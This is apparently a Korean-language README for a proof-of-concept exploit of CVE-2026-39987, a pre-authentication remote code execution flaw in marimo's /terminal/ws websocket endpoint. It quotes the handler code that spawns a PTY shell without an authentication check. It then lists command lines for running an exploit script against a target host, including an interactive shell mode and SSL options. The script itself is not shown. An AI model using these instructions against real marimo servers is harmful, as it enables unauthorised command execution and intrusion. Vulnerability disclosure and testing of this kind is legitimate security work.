
CVE-2026-39987 for marimo 0.20.4 PoC
정보:
CVE-2026-39987은 Marimo(0.23.0 이전 버전)의 치명적인 사전 인증 원격 코드 실행(RCE) 취약점입니다.
작동 원리:
/terminal/ws 엔드포인트는 어떠한 인증 없이 노출되어 있습니다.
내부: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
보시다시피, PTY 셸을 생성하기 전에 인증 확인이 전혀 없습니다.
python3 CVE-2026-39987.py example.com -c 'whoami'
출력이 없고 대상이 SSL을 사용한다면 --max-wait 및 --any-ssl 인자를 사용하세요.
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
대화형 모드도 있습니다.
python3 CVE-2026-39987.py example.com -i --any-ssl